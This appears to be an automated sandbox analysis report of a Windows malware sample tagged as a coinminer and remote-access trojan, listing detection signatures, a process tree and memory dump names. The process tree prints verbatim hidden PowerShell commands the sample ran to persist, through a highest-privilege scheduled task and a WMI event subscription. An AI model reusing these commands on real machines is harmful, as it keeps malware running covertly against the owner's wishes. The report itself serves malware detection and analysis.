Analysis
- max time kernel
150s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
16/07/2026, 10:21
General
- Target 2026-07-16_0c210db0c431724cccf0bb4f06db19be_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
- Size 35.6MB
- Sample260716-md41aaes7w
- SHA256 b1fcc49fba4ea4eb20f1ffec912deba2db3b9bd814b2838799a497c76c3375b0
Malware Config
Signatures
- Detects executables (downlaoders) containing URLs to raw contents of a paste 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Drops startup file 2 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-16_0c210db0c431724cccf0bb4f06db19be_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-16_0c210db0c431724cccf0bb4f06db19be_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"1⤵
- Drops startup file
- Adds Run key to start application
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_c7497faab997.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_48e1b6bd' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_c7497faab997.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_c7497faab997.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_c7497faab997.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_48e1b6bd' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f48e1b6bd'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c48e1b6bd'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_c7497faab997.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f48e1b6bd'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c48e1b6bd'\"; $null = $b.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_z2fjpkzy.r3s.ps1
agent-108176956.tmp
memory/4576-19-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-24-0x000001F8F26D0000-0x000001F8F2782000-memory.dmp
memory/4576-12-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-13-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-14-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-15-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-16-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-17-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-18-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-8-0x000001F8F23E0000-0x000001F8F2402000-memory.dmp
memory/4576-23-0x000001F8F26B0000-0x000001F8F26CE000-memory.dmp
memory/4576-11-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-20-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-25-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-26-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-27-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-28-0x000001F8F2690000-0x000001F8F269A000-memory.dmp
memory/4576-30-0x000001F8F2A10000-0x000001F8F2A2E000-memory.dmp
memory/4576-7-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-37-0x00007FFFA3BE0000-0x00007FFFA4584000-memory.dmp
memory/4576-6-0x00007FFFA3D6F000-0x00007FFFA3D70000-memory.dmp